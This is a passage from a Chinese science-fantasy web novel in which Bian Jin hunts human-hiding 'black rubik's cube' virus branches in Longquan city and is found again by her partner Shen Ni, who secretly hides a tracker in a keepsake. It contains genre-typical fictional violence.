客栈老板不好意思笑道:“不好意思啊几位客人,我不是别的意思,实在是最近黑魔方太吓人了,就怕一不小心收了黑魔方入店,那我们这小客栈可就得倒大霉了。所以,来往的客人我们都得格外留神。”
沈逆问:“城中有黑魔方?”
客栈老板“哎哟”一声,“这我哪敢说啊!之前是没有的,可……”
说到此处,客栈老板也察觉到自己说漏了嘴,拍了自己的嘴巴两下,没敢再继续多嘴,拿来一个平板,双手递到沈逆面前,脸上堆满了笑容。
“四位客人,这是龙泉城官方最新推出的住店前小小的问答环节,你们先玩着,完成后我就让小二帮你们把行李搬下来。”
四人凑到拼板前看,竟是四道题目。
第一题为成语填空,第二题是四则运算,第三题是基础社科,第四题为简单人情世故。
“为了防住黑魔方,实在没辙啦。黑魔方伪装得再像人,这儿……”客栈老板点了点脑子,“还是跟咱们不太一样,看不出来但能测出来。所以,嘿嘿,诸位女郎,烦请一一答题。”
四人对视。
还真是个好方法。
一刻钟后,轻松答完问题的四人乘云梯抵达客栈三楼。
小二帮忙把房车泊好,行李全都搬进客房后就离开了。
四人收拾完东西又沐浴更衣,一身舒爽到二楼就餐。
这家客栈算是龙泉城市中心的大客栈,二楼的视野不错,能看到楼下车马往来,人流如织。
第五阙饿得很,点了十菜一汤,吃得非常过瘾。
窦璇玑端着碗吃得很缓,琢磨着刚才老板没说完的话。
“老板说之前没有黑魔方,意思是最近才有的?”
沈逆没什么胃口,看楼下往来的人群,脚步不算快,也未有匆忙惶恐的气氛。结伴而行的有说有笑,单独出行的时不时看看电子表,似乎对周围没有太大的戒备。
沈逆:“看着不像有黑魔方的氛围,起码明面上百姓们并不知晓。”
自从黑魔方迭代后,所有的探测器都失灵了。
它们学会了藏在人体之中,逃避所有侦测仪器,大摇大摆潜入人类社会。
谁也不知道身边看似正常的亲人、朋友、同僚会不会就是黑魔方。
这是眼下最难对付的地方。
曾倾洛喝了两口果汁道:“那就打听一下藏在地下的消息。”
窦璇玑:“你有什么法子?”
说起找寻线索的法子,恐怕没人比她更专业。
曾倾洛打开电子表,打开龙泉城的城内地图。
曾倾洛道:“城中有两家大型酒肆,其中一家每夜有四到五千人的巨大客流量。此地一定汇聚了无数地下信息和黑色交易。去这里探访,或许能找到有价值的线索。”.
黄不予为边烬和她的随从收拾好了刺史府对面的宅子,等边烬安顿好之后,亲自登门。
黄不予向边烬拱手道:“今晚刺史府设宴,专门为白御史接风洗尘,还望御史大人大驾光临。”
边烬坐在胡椅之上,手中握着暖杯,暖杯内散发着淡淡桂花香。
胡椅垫着她自己带来的垫子,披肩都未脱。
手套,面罩,还只用自己的物件。
看得出来,这白御史有洁癖。
“筵席就不必了,没时间。”
边烬投了一张照片到空中。
“认识吗?”
投影是个中年男人的照片,油头粉面,因为常年熬夜酗酒尽显疲态,笑容却张扬放纵,这样的一张脸,无论看着谁带着些挑衅的意味。
“庞统。”黄不予道,“城内最大的酒肆云中月的老板。”
黄不予很快意识道:“难道,他感染了黑魔方?”
边烬没回答她的问题,“在酒肆中能找到此人吗?”
“能。”
“带我去。”
“好,夜里我来接御史大人。”
黄不予离开宅子时心还突突的跳。
从小到大,除了阿娘,还没人能给她这样的压迫感,心跳全程就没降下来过。
听声音,白御史还很年轻,应该不会超过三十岁。
不知她面罩之后,会是什么样的一张脸。
黄不予离去,侍从在另一间房。
边烬合上屋门,还未转身,身后的半身镜的镜面逐渐变暗,镜子里出现了一个女人的半身影像。
那女人看着边烬道:“沈逆来了。”
边烬安静地回眸,走到沈扶苏面前道:“我诱捕完就会离开。”
镜中的沈扶苏说:“距离这么近,连理模块会让她感知到你的。”
边烬眼眸里的情绪变得复杂,“是你放她入的城?”
“你的义体和模块的损坏程度比预料的要严重,若是能让沈逆帮你修复……”
边烬没等她说完,一鞭子抽碎了镜子。
镜子的碎片在边烬的脖子上划出一道红痕。
镜子碎了,电视却打开了,方才镜中一模一样的脸出现在电视里。
沈扶苏继续道:“利用一次还是两次,没有区别。”
边烬正要开口,背脊上忽然刺出两根乱体。
每日一次黑魔方疯狂的挣扎,竟在这时爆发。
无数的乱体试图从边烬的体内往外逃,额头上长出的乱体瞬间刺坏了面罩。浅蓝色的浮光消失,露出边烬原本的脸庞。
胸口、后背、腿……数不清的乱体犹如溺水者无助的手,颤抖着,用力往外伸展。
边烬口中涌出大量的血,五脏六腑被搅得剧痛。
沈扶苏:“是我的错,留下了一个未能想到的误差。黑魔方本体在李渃元的身体里寄居太久太久,迭代时复制的是李渃元的大脑,黑魔方本体的精神力即便无法像李渃元那般强大,也超出我的预料。如今诱捕黑魔方的进度不过百分之七十一,逆芯报废进度已经到百分之四十了。再这样下去即便逆芯能挺住,只怕你的身体会先受不了。到时候你会死,黑魔方也会再次逃逸。得不偿失。”
边烬抽出骨鞭,笞向自己的身体。
长鞭如刀,将身上的乱体全数斩除。
就像诱捕黑魔方第一夜一样,那让边烬永生难忘的第一夜,乱体在她体内不断爆发,不止不休。
她斩了再斩,一整夜都在不停地割除乱体。
她以为自己已经死了无数次,最终还是活了下来。
沈扶苏派了一支机械小队把遍体鳞伤的边烬接走。
看到边烬本人时,是一具支离破碎的身体,或者说是尸骨也没有任何违和。
幸好她体内有逆芯,强大的逆芯呵护住了她最后一丝活气。
沈扶苏惊叹又兴奋道:“好厉害的身体,好厉害的逆芯。”
魏旷为边烬手术,手术一直持续到第二日午后才初步完成。
边烬捡回了一条命,诱捕器拖了后腿,沈扶苏建议之后黑魔方分支尽量斩杀,毕竟困住本体已经很困难了。迫不得已之时再开启诱捕功能。
这也就意味着,诱捕地图可以展开,但是无法一口气吸走三十公里之内的所有黑魔方分支,得手动清理。
进度将放缓一大截。
对此边烬没有微词,她不是个喜欢口头抱怨的人。
但看得出来她有些失望。
沈扶苏宽慰她:“我还从未听过不出任何意外的计划。越是复杂的规划,越是需要容错的空间。你便是那容错空间,你已经很出色了。”
……
如今整片大陆还有九大分支需要清扫,龙泉城是重要的一站。
彻底清除黑魔方的念头一直都极其坚定,边烬从未怀疑过自己的决定,也从未因为突发状况游移过。
除了沈扶苏再次把沈逆牵扯进来。
乱体斩尽,喘息不止的边烬站在满屋死去的黑色金属残余之中,血将衣衫浸透。
凝视着电视里的沈扶苏,血从眼前淌下,边烬冷笑道:
“你是想让沈逆修复逆芯,还是想让她彻底卷进诱捕黑魔方的行动之中,当你召之即来的机械师?”
沈扶苏没有回答她。
但边烬知道自己说中了。
边烬双臂撑在电视两侧,逼近沈扶苏。
“让沈逆永远安全,性命无忧,是我最后的底线。如果你打她的主意,我会杀了魏旷,再杀了你。”.
亥时二刻,云中月酒肆开门迎客。
即便是经常出入各大酒肆的曾倾洛,看到云中月酒肆的规模也吃了一惊。
钢铁架成的空中楼阁灯火璀璨,这规模比长安城的明日街都要雄伟,红蓝光映亮了一半的天际,醉汉的笑声和欢呼声从山上传来,好一派熟悉的醉生梦死。
这哪像是酒肆,分明像是占山为王的土匪窝。
曾倾洛熟练地找到门口的酒保,交了四人份的入场费。
酒保给了她四根手环,曾倾洛回来分给沈逆她们。
沈逆并不想戴这品味堪忧的茄色硅胶手环,可不戴就进不去。
就在她不情不愿之时,忽然在人群中看到一个身影。
只是在她的余光中一晃而过,却乍然轰醒了她所有的神志,心跳快到不能呼吸。
惊鸿艳影,却似优昙一现,转瞬被昏黑浑浊的人潮吞没。
师姐。
沈逆撞开人群,脚下的步伐凌乱不堪,急追上去。
师姐!
第145章
鼓瑟吹竽,笙歌平地起,酒肆的当家头牌在闪着蓝光的最高楼阁上开嗓,广场中的人潮瞬间被点燃。
人群涌动间,沈逆眼底那抹身影被淹没。
沈逆在人群里艰难前行,转了好几圈,幞头都被撞歪了,依旧没能找到边烬的身影。
左胸口里干涸已久,思念发狂的心在疯狂鼓噪着。
她不会认错。
一个醉汉看见了沈逆,还以为自己喝多了,不然怎么会看到这般美艳动人的美娘子独自一人在舞池中彷徨,秀气的眉心拧起,美眸带泪,红唇微翕,好似头牌歌姬当真将天上的仙子唱落俗尘。
醉汉端了酒便欲上前搭讪,还未来得及开口,沈逆褒衣一展,迷了他的眼,待能看清时,“仙子”飘然消逝。
交错的人群之中,边烬心口忽然一痛,顿了脚步。
身边的黄不予跟着停下来问道:“怎么了白御史?”
“……没事。”
边烬无声地回头,眼前尽是一张张纵酒放浪的陌生面孔。
没有沈逆。
略松了口气。
还以为是连理模块的情感忽然共鸣。
现在看来,大概是黑魔方在作祟。
梦境互通的功能,边烬已经手动关闭了。
但情感共鸣无法关闭,只要连理模块还在,它就会一直维系在伴侣之间。
洋洋洒洒六十六页说明书中写明了连理模块彻底关闭的方式,需要连理的双方一同去民政司,当面授权关闭,否则会一直维持着开启的状态。
边烬算是一脚踩进了婚姻的陷阱。
幸好距离够远,和关闭了也没两样。
沈逆入了城,可龙泉城作为雪域第一重镇,常驻人口众多,往来贸易和交通也颇为频繁。即便因为黑魔方肆虐而减少了,人流量依旧不容小觑,想要这么快找到她恐怕也不是件容易事。
黄不予见边烬摘去了面罩,只戴了一副黑色的口罩,一双冷眸彻底展露在外,眉眼疏离却实在迷人,比她想象的还要漂亮。
边烬今晚被迫戴上口罩,因为面罩被乱体刺坏,还没来得及修复黄不予便来接她了,时间来不及,只能戴了沈逆当初为她做的口罩,调成全黑不透明状态,遮掩一二。
隐藏身份主要是为了让黑魔方疏于提防。
黑魔方已经迭代出了接近于人类的智慧,偶尔智慧和逻辑上是会露出破绽,但只要扎入人群,不露出乱体犯事儿,便很难分辨。
既然黑魔方学会了伪装,那捕杀黑魔方的人也该伪装一二,至少别让它们察觉到捕猎者就在附近,好杀它们个措手不及。
与此同时,边烬也知道自己的死讯传遍整个帝国。
既然大家都当她死了,她就顺水推舟,彻底改头换面。
沈扶苏和魏旷这么多年扎根在雪域,自己不在人前现身,但与雪域的节度使非常相熟,为边烬弄一个新身份自然不成问题。
用新身份“黑魔方专项治理司白御史”四下行走方便,或许也能躲过一些欠下的人情债。
黄不予是以客人的身份带着边烬来到云中月的。
递上来的情报显示,今夜庞统会现身。
黄不予定了角落里的卡座,买了两杯酒和一些水果零嘴,等待的时候尽量让自己像位消遣的闲客。
如果庞统已经感染了黑魔方,却还在她眼皮子底下经营者全城最大的酒肆,那他身上藏着的黑魔方智慧等级不容小觑。
黄不予看边烬居然就干坐于此,目光如炬,盯着场内的所有动向,便递给她一杯酒。
边烬并不想喝,在诱捕黑魔方的时候她习惯性保持头脑清晰。
黄不予看她不喝,微微靠近她说:“白御史,你本就太招摇,还是得伪装一下,别让人看出你不是来喝酒的。”
边烬想了想,也对,戴着黑色牛皮手套的手拿起一杯酒假装要喝,依旧没真的入口。
两人在说话,靠得很近。
暗处有一双眼睛在一动不动地凝视着。
边烬与那女郎亲近的画面映在沈逆的眼眸里,眼眶慢慢被染红。
边烬点了点耳尖,问两位侍从庞统的动向。
守在酒肆两处出入口的侍从们回道:“暂时还没出现。”
边烬也不着急,捕杀上一个黑魔方的分支,她在那个小镇里守了十日才找到最佳良机。庞统的能量场更为强大,她已经做好在龙泉城待上一个月的准备。
两位酒保从远处过来,边烬目光轻转,眼睁睁地看着他俩摆了一整桌的酒。还有两杯还放不下,挪了半天,终于给挤进去了。
黄不予疑惑道:“送错了?我们没点。”
酒保笑道:“不是二位点的,是有人请这位女郎喝酒。”
酒保指的是边烬。
黄不予:……
才坐这儿多久啊,就有人请喝酒……
这白御史是不是太招人了一点?
也能理解就是了,白御史无论是身段还是那双眼睛都极为出挑,就算遮了大半张脸,眼睛也动人得紧,有人请喝酒很正常。
这样一来也好,倒真像来玩的了。
边烬时常遇到这种搭讪,完全没在意,更不想理会。
只是……
瞥一眼酒,居然都是她喜好的口味,有些意外。
送酒的沈逆此刻正坐在边烬身后二楼的包厢里。
不直接现身是因为她不想打扰边烬。
边烬不可能是来此地喝酒,她这位不解风情的师姐,最不喜酒肆的嘈杂环境。
来此地只有一种可能,与黑魔方有关。
含华殿那一幕,沈逆记得一些零碎,之后李司和窦璇玑为她补齐了其他细节。
当初边烬诱惑着她完成了逆芯便第一时间杀入含华殿,带走了整个长安城的黑魔方,关闭了长安城。这一系列的操作很难教沈逆想不到边烬的计划——
利用逆芯的驱动,把所有的黑魔方病毒吸入体内,再完成最后的夷灭。
黑魔方本体已经被边烬控制,剩下的便是捕杀当年从李渃元身体里逃逸出去的其他分支。
但那可是黑魔方。
研究出了时空穿梭技术的未来世代,却依旧无法解决,只能投放到别的时空的恐怖病毒。
连双S级精神力的李渃元,对抗了三十多年都没能压制,反而被逐渐被搅乱了心智,甚至在此期间,眼睁睁地看着黑魔方一次又一次地迭代。
未来世代和李渃元都无法控制的黑魔方,边烬就能控制且最终消灭吗?
还是说,她身后一直在帮助她的机械师能助她一臂之力?
无论那个神秘的机械师是谁,沈逆都已经做好了见面之时,第一时间往他脸上狠狠揍上一拳的准备。
沈逆沉了沉情绪。
她一直相信边烬没死,如今边烬真的活生生出现在眼前,惊喜交集又怨又爱,心内波澜不止,无限感慨。
生怕这些情绪会影响边烬的行动,沈逆抹去眼泪,镇定情绪。
那一桌子的酒自然是沈逆点的。
无论边烬是不是为了黑魔方来,既然来了,那她只能喝自己点的酒。
完全不知沈逆心思的边烬,听到侍从的声音从私密频道传入耳朵里。
“目标出现。”
庞统和几位侍从自不远处二楼一晃而过,黄不予转头暗示边烬,边烬随意端了杯酒,继续扮演酒肆里的客人,跟上去。
她所有的注意力都在庞统身上,没注意到起身时,蹀躞带被桌上的花纹勾了一下。
日日夜夜跟随她的人胜掉落在地。
悄然追在庞统身后,边烬轻轻晃着酒杯,先用沈扶苏打造的探测器估算了一下庞统的等级。
应龙级异兽的能量,甚至还要更强。
庞统穿过游廊,登上石阶,独自往更高处去。
边烬拦下紧随其后的黄不予,“你留在这儿。”
黄不予一怔:“怎么?”
“我不想分神照顾你。不想死就别跟来。”
黄不予:?
她好歹也是S级机械师,还兼具B级战斗天赋,第一次被人这么嫌弃。
心里不服归不服,但城门口丢脸的那一幕还是深深地印在她心头。
在身边这么久的长史居然就是人形异兽,她不仅没发现,还宣称城内没有病毒……实在丢人。
白御史不让她跟着她就老实待在原地,万一让这些警惕性和隐蔽性都极高的人形异兽跑了,她可担不起责。
边烬跟着庞统,这一路上都是来酒肆买醉的客人,此地在万维网上很有名,算是龙泉城著名的拍照圣地,登到山顶便能俯瞰整个城池的夜景。
边烬走走停停,越往高处走人越少,她心里已有计较。
一直走到最高处,庞统在一片寂静的树林中停住脚步,背对着边烬站定。
“还不出来吗?”
庞统对着漆黑的夜自言自语。
边烬缓缓从树丛之后踱步而出。
庞统回眸,在看到边烬的那一刻,眼眸失控地颤抖。
“你身上的气息……这般明显,不怕我发觉后逃走?”
边烬轻晃着手中的酒杯。
“我还以为你是故意引我至此。当然,你现在逃也来得及。”
边烬的身体里镇压着黑魔方的本体和分支的能量,对于人形异兽而言是巨大的诱惑。
就像曾经的李渃元能够吸引异兽,此时的边烬也让庞统体内的黑魔方极度兴奋与渴望。
庞统能一跃跃至另一座山头,可此时此刻,即便有逃走的念头,眼前这女人的吸引力却超越了一切,竟让他浑身的肢体都在不受控地轻颤,此地极度危险,但他无法离开。
即便明知道在铤而走险,依旧无法拒绝想吞噬巨量黑魔方的本能。
庞统的冷汗顺着鬓角滑落。
边烬身体内的黑魔方本体能够强效吸引分支,让分支彻底无法逃离,但需要进入十步的距离内才有效。
只要逼近十步之内,就是边烬能够尽情屠戮之时。
边烬甚至能通过黑魔方读出对方的思绪。
“害怕了?”
边烬轻蔑的笑容中带着些嘲讽的邪性。
庞统骤然张开嘴,口中的牙是闪着寒光的尖刃!
还未等庞统扑上前撕咬,对黑魔方的套路已经非常熟悉的边烬反手一杯酒泼进庞统的口中。
烈酒直接灌进了他的喉咙里,激起生理性的猛咳。
丢了酒杯抽出骨鞭,白森森的骨鞭在空中飞舞,边烬戏谑道:
“当人是不是不太容易?还会被呛着。”
庞统咳得眼泪翻花,双臂猛地往下抽,骨头从胳膊肘处往后突出,刺出肌肤,延展成两把极长的利刃。
边烬:“开始生气了。”
骨鞭卷住利刃,树林内枯枝飞舞,树纷纷倒下。
三位醉醺醺的客人勾肩搭背沿着山路走到树林入口处,手里还拿着酒壶。
忽然眼前飘过一抹身影,三人停下,“哎”了一声?
“是错觉么,有人?”
“有人,还是有鬼?”
刚说完,那“鬼”忽然飘至身前,一脚蹬在最前方的男人胸口。男人大叫一声往后翻,把身后的两人一块儿刮倒,三人叠在一起摔下石阶。
边烬抽空踢过来的这一脚分寸刚好,三人全数昏迷,但没有性命之忧。
庞统原本就有S级的战斗天赋,感染黑魔方后战力更是拔升了一大截。
当初横扫整个西市胡乔珏在他面前,也不过是只随手就能捏死的蝼蚁。
可安装了逆芯,且控制着黑魔方本体的边烬,亦不单单是一名双S级的战斗天赋者。
庞统被骨鞭抽得浑身是血痕,怒气狂生,倏地钻入地底。
地面拱起一长排的土包,极速向边烬逼近。
边烬兴意阑珊地垂下眼眸,土包在冲到距离她还有最后一步时蓦然停止。
土包还在努力往前耸动着,想继续前进,却被不知名的力量阻挡。
下一刻,一棵巨大的黑色之树拔地而起,那是无数的尖锐乱体瞬间绽放出的奇观。
藏在地里的庞统被挑至半空,乱体当胸刺穿了他的身体,庞统整个人挂在乱体大树上,血不断从口中往外喷。还要挣扎,乱体毫不容情地扎进他的身体,活生生把他撕裂。
分支的乱体从庞统的身体里挣扎出来,贪婪地融入黑树之中。
虽然不想继续吸收进体内,但偶尔会有眼下的特殊情况。
更偶尔,她会主动吸取黑魔方的分支,这是一种愉悦的快乐,黑魔方主导的快乐。
黑树的树根连着边烬的双脚,长鞭一挥,脱离了边烬的身体,变成一株死树。
乌云散去,皓月初现。
边烬抬头看着这棵巨树,挂在树梢上扭曲的尸体与这棵在月光下长成的诡异之树搭在一块儿,竟有种邪恶的美感。
边烬轻嗤着,眉眼慢慢被僝僽侵染。
要是阿摇看到这样的我,会害怕吧。
【诱捕黑魔方完成度:百分之七十五】
诱捕器在她视网膜上闪现了这行字后,黑魔方的声音如同忽然而至的梦魇,在她脑中流淌着。
那是一道和她的音色非常接近,极具迷惑性的声音。
“我们真的好适合融为一体,你是比人类的皇帝更让我心动的选择。我从很早之前就渴望着你,现在的感觉真是无与伦比啊……我也很厉害,你看到了,不想与我跟进一步吗?”
每次黑魔方的声音出现,伴随着的便是撕裂般的头痛。
仿佛想借着神经最为脆弱的时刻趁虚而入。
边烬紧闭上眼,试图将剧烈的痛楚一丝丝剥离。
就在这时,庞统撑着最后一口气,从腰间抽出一把刀,怨毒又虚弱的目光转向闭着眼的边烬。
还未等他动弹,一发电磁炮刺破黑夜,直接将他轰成了齑粉。
边烬骤然睁开眼。
嚓——
身后缓缓靠近的人踩在枯枝上,就像踩在边烬的心头。
“你丢东西了。”
边烬心头一紧,习惯性摸向腰间。
她带走的唯一物件,那个阿摇亲手为她编的人胜本该在蹀躞带上,此刻不见了。
而身后的人越来越近,边烬要走,一根戒棍直接杵进了她行进前方的树干中,蛮横地拦下了她的去路。
沈逆已经站到她身后。
洪流般的酸楚通过情感共振攥住了边烬的心,攥得她发痛。
沈逆摊开手,给边烬看那枚人胜。
发亮的眼眸如忽然而至的骤雨,打入边烬眸底。
声音也像风中的树叶,尾调带着难过的微颤。
“你怎么会把我弄丢了?”
第146章
沈逆何时来的,边烬竟没有察觉。
或许是沈逆潜行技术提升,也或许是边烬全身心投入在和庞统的对战上,亦有可能是黑魔方本体在影响她的神志。
无论是哪种情况,都无所谓了。
因为沈逆肯定看到了。
从沈逆的视角必定看到了那棵枯萎的乱体巨树,也一定目睹了她是如何用凶残的手段杀了庞统。
这些是她最不想让沈逆看到的。
最最难堪的她,却在重逢的第一时间,没有任何遮拦地落进沈逆眼中。
沈逆什么都看到了,可什么也没问。
只是专注地凝视着她。
那双本是明媚动人,总是含着三分笑意的黑瞳,此刻只剩委屈、期盼和浓浓的眷恋。
因覆着一层水色,反而显得更加明亮通透,摄人心魄。
沈逆粉色的指尖捻着人胜,浓密的睫毛被眼泪浸成一簇簇的,眼眶红得像沁着血,却不让眼泪真的掉下来。
不问当初为何伤她,不问为何留下那番绝情的话。更没问现在她在做什么,为什么用乱体杀人,究竟是人还是异兽。
只用那双能将边烬的心千刀万剐的眼睛安静地看着她,低声问她:
“还要不要了?”
还要不要人胜,还要不要她。
边烬紧闭着双唇,表情像被冰封了一般。
安静了几息,忽然身后一阵空气被搅动的混乱,有什么巨大的事物从高空坠落。
沈逆还没来得及回头,边烬本能地搂紧她的肩头,瞬时调换了位置,将她牢牢地护在自己怀里。
啪嚓——
枯萎的乱体折断,掉落在地上,激起一阵沉重的声响。
两人同时看去。
原来是……
边烬无语地闭了闭眼。
想要放开,怀中人并不同意。
边烬要撤开的双手被沈逆执住,重新环回腰间。
边烬:……
沈逆枕着她的肩头,赖在她的怀中,与此同时把人胜重新挂到她的蹀躞带上。
“我知道答案了。”
方才一直没能落下的眼泪,此刻划过沈逆漾着笑意的嘴角。
边烬双臂不知放在何处才好,最后垂在身侧。
感受到肩头被泪湿,原本想离开的念头摇摇欲坠,半天也没能挪动步伐。
正在往山上赶的第五阙等人,远远地看到了那棵诡异的树。
第五阙:“那是什么?”
曾倾洛:“看上去很像……乱体。”
第五阙:“乱体?这么大一个乱体,得是应龙级的异兽才能拧出来的吧。奶奶啊,上面还挂着尸体。”
窦璇玑率先抽出电刃,三人悄悄往树林里去。
沿途路过被边烬踹倒昏迷的醉鬼,第五阙不小心踩到了其中一人的手,那人被痛醒,撕心裂肺的哀嚎传遍半个山头。
边烬被这叫声唤醒,这时侍从的声音从私密频道传来:
“白御史,发现新的黑魔方,请求支援。”
沈逆刚将人胜挂好,目光落在她腰间骨鞭的手柄上滞留了一息。
边烬转身就走。
沈逆对着她的背影说:“你的身体只有我才能修好。你离不开我。”
边烬的身影转瞬消失在黑夜中。
沈逆依旧看不出眼前的是边师姐还是烬师姐。
那种经历过人生变故的厚重与冷酷感非常清晰。
可是,护她之时,紧紧的怀抱依旧温柔。
可以确定,与当日在含华殿上,当着众臣的面直接拧断当朝天子的是同一个人。
沈逆琢磨着,连骨鞭都找回来了。
难怪之前怎么都找不到,原来是师姐自己藏的。
这么说起来,师姐应该已经找回了丢失的那两年的记忆,与此同时,在长安城的那一年所发生的一切依旧印在她的生命里。
沈逆眼眸一定。
边师姐和烬师姐合二为一了。
这才是真实的她,完整的她。
冰川之下闪烁的火焰,极其的危险,极致的迷人。
风里还残留着她的气息,沈逆抚摸着已经枯萎的黑色巨树,心头在不住地发颤。
她还活着,还活着……
……
百米之外,专门为贵客提供厢房服务的华楼入口处。
客人们被边烬的侍从和黄不予等人阻拦在外,边烬独自上楼清扫黑魔方。
黄不予和下属们拉着警戒线,不许任何人靠近。
黄不予的下属是位A级战斗天赋武将,征战向来是先锋,如今知道黑魔方就在楼上,他却只能在楼下拉一些警戒线,浑身燥得难受。
他对黄不予道:“刺史,真的不能让我也上楼去么?那白御史看着身子骨可不够结实,万一折在里面怎么办?不好向治理司交差啊。”
黄不予还没开口,一群看热闹的酒鬼带着刺鼻的酒气靠近,操着大嗓门问她:
“黄刺史,这儿作甚不让人进?可是发生了命案?”
另一名酒鬼道:“是发生命案了还是真有黑魔方啊?”
“怎么可能呢,咱们黄刺史不是早就说了咱们龙泉城没有黑魔方么?”
“不会是治理司的白御史带来的病毒吧?”
“那么漂亮的美娘子自己上楼干活,也不需要个帮手?这般孤勇也不知道薪酬能不能翻倍。”
说完酒鬼们大笑起来。
这些醉生梦死的酒鬼们最是口无遮拦,嘲讽黄不予的同时也肆无忌惮地调侃白御史和治理司。
黄不予实在不想和醉鬼们一番见识,刚要转头,突然一颗脑袋从天而降,掉在他们中间。
众人吓了一跳,心惊胆战地望向那颗头。
有人认出了,“这不是秦公子么?”
秦公子是城里的富户,也是这帮酒鬼的金主。
酒鬼们看到金主被杀,一时无措,想上前为他敛尸。
没想到那脑袋忽然睁开了眼睛,乱体夺眶而出,吓得刚想上前的酒鬼脚下打滑,就要往回逃时乱体卷住他的脚踝,活生生将他绊倒。
酒鬼大喊着“救命”,方才和他一同嘲讽的同伴没一个敢上前,不是害怕地一屁股墩在地上,就是连连退后。
黄不予立即抽出武器。方才要上楼协助的那位下属也拔出双刀,用力砍在乱体上。乱体纹丝不动,他的刀反而卷了刃。
那下属眼睛都惊圆了。
黄不予大喊道:“后退——”
黄不予话音未落,乱体当空抽起一阵黑色的飓风,僵硬的石栏像豆腐般被乱体切得七零八落。
众人惊愕地看着那飓风,根本反应不过来。
就在飓风要将众人拦腰斩断时,一道身影从天而降,单手卷住乱体。
黑色与白色的光交错对战,黄不予那双改造过的双眼都跟不上速度。
当她看清时,所有的乱体都被斩成了碎渣。
站在碎渣面前的边烬浑身是血,转眸,眼尾一行喷溅的血迹,将她那双冷眸称得更加清冽,难以亲近。
手套上全是血和乱体的碎末,边烬面无表情地脱去手套,丢在秦公子那颗已经不会动的脑袋上,覆盖那张破碎的脸庞。
边烬一言不发地离开,方才尖嘴薄舌的醉鬼们也都吓清醒了,脸上的红晕全成了惊吓过后的青白。
那位下属看着自己卷刃的刀,庆幸自己没真的上楼。连颗脑袋都对付不了,上去了恐怕自己的脑袋得交代在那。他低声感慨道:“这真不是普通人能干的活儿。”
黄不予瞥一眼遇到危险只会喊“救命”的醉鬼们,他们倒是很识趣,已经互相搀扶着逃走了。
边烬的侍从们开始收拾战场,保证把所有黑魔方都清理干净。
边烬对黄不予道:“你可以告诉你的百姓,这一次,龙泉城的确没有黑魔方了。”
边烬安静地离开。
她受了伤,需要好好休息,奔赴下一个城池。
黄不予看着她的背影,心中涌上莫大的欣慰。
穷途末路之时天降救星,力挽狂澜,是这个时代最大的幸事。
……
沿着石阶下山,酒肆已经不复方才的热闹。
人群散去,空旷的舞池满是倾覆的酒盏酒瓶,犹如一座巨大的垃圾场。
边烬习惯性摸向腰间,摸到沈逆重新为她挂上的人胜。
当初她从靖安侯府离开,衣物一件都没带走,连人胜也摘下了。
想切断所有沈逆的气息。
可当她孑然一身时,却对独自赴死有了一丝寂寞感。
若是此行她真的在诱捕黑魔方本体的那一刻承受不住死亡,独自踏上黄泉路时,身无半点牵挂,当真成了一只孤魂野鬼,那连回家再看沈逆一眼的路都找不到。
被摘去的人胜还是被她挂回了蹀躞带上。
和黑魔方本体第一次对抗,拧出了海量的乱体,边烬九死一生活了下来。
醒来时,感觉掌心里有一样事物。
摊开一看,竟是人胜。
她已经不记得是何时攥紧了人胜。
将人胜紧贴在起伏的心口。
一道阳光落在她的手背上,肌肤泛着真实的灼热。
是沈逆抓住了她,带她重返人间。
精致漂亮的小人胜沾了些污渍,边烬亲手一点点把它洗回了干净无暇的模样。
之后人胜就再也没有从她的蹀躞带上取下来过。
直到今晚。
人胜丢了,却又被沈逆捡回来。
可怕的命中注定。
“你怎么会把我弄丢了?”
剪水双瞳和那句话,一直悬在边烬的心头。
直到沈扶苏的脸出现在驿站站牌上。
边烬都没发现自己在回味着关于沈逆的点滴,失魂落魄地走到了陌生的地方。
午夜的驿站空空荡荡,除了她和老旧的、散发着刺眼光线的站牌外,只有被冷风扫来的废弃物。
闪烁的驿站站牌接触不太好,让沈扶苏的声音断断续续。
“你该让她为你修复逆芯。”
边烬一边摘口罩一边道:“她会直接拆掉整个诱捕模块,到时候黑魔方会趁机逃走。”
沈扶苏:“你不了解诱捕模块。”
边烬抬眸,冷光在她的眸中闪出惊人的光。
“你不了解她。”
沈扶苏沉默了。
侍从驾着马车姗姗来迟,边烬坐入车厢,倦意翻涌时,发现车窗外一只纯白的渡鸦不知跟踪她多久了。这只红眼睛的侦察兽正是秦无商的眼线,一直在暗中窥探。
秦无商的声音通过渡鸦传来:“宝贝,你现在不来找我,失去理智的时候一样会落在我手里……”
边烬没看向渡鸦,腰间若有似无的细线一闪,渡鸦便被骨鞭抽了粉碎。
远在弦昼国的秦无商本人“啧”了一声。
“怎么一言不合又把我的渡鸦弄坏,研制一只出来很贵的!”
边烬撑着一突突隐痛的颞颥。
秦无商纠缠不休的确烦人,但有件事她说的对。
此时,城东客栈内。
沈逆坐到客栈二楼,打开电子表的时候,见对面三人都用一种好奇的眼神看她。
沈逆:“你们这都是什么眼神?”
第五阙道:“我们都以为你终于见到日思夜想的媳妇,肯定得巴巴地缠着她,没想到居然回来了,这不像你啊。”
“我是那样的人么?”沈逆意味深长地笑着,手指轻点,眼前的投影屏幕里出现和一张电子地图,一个闪烁的红点在地图上缓缓移动。
曾倾洛一看就明白了,“你在追踪大师姐?”
沈逆往嘴里丢了一颗油炸豆,“没错。”
咀嚼了两口,表情很不满意。
“这里的油炸地豆可真难吃。”
好怀念万姑姑的手艺。
第五阙:“跟踪啊?比纠缠还可怕。”
沈逆:……
窦璇玑好奇问沈逆:“你是什么时候给她装上定位器的?”
沈逆把带来的保鲜袋打开,里面全是万姑姑给她准备的零食。
倒出一大盘的孜然洋芋片,沈逆对窦璇玑神秘一笑:
“当然是神不知鬼不觉的时候。”
之前暗藏在边烬身上的定位器,被乱体拧出了体外,害她失去边烬的定位好长一段时日。
这回遇上了,自然得再装上。
安装的地方不能被精明的师姐发现,还得一直在她身边。
沈逆把定位器装进了人胜之中。
其实在她捡到边烬掉落的人胜时,便已经不需要边烬用嘴回答她任何问题了。
亲手编织的人胜被边烬随身带着,便是边烬难以将她割舍的最好证据。
嘴上会说谎,但行动不会。
每个人都有自己想走的路,执着的信念。
沈逆爱边烬所思所想,也尊重她所有的决定。
不过……
沈逆咬一口洋芋片,目光灼灼。
既然放不下我,那就别想再丢下我。
第147章
夜风凛冽,二楼门窗紧闭,老板还为客人们开了地炕,室内温暖如春,适合小酌一杯。
沈逆没什么睡意,不知道在捣鼓什么,双手双眼就没从屏幕上移开过。
第五阙说饿了,曾倾洛打开桌面上的点餐屏,问大家想吃点喝点什么。
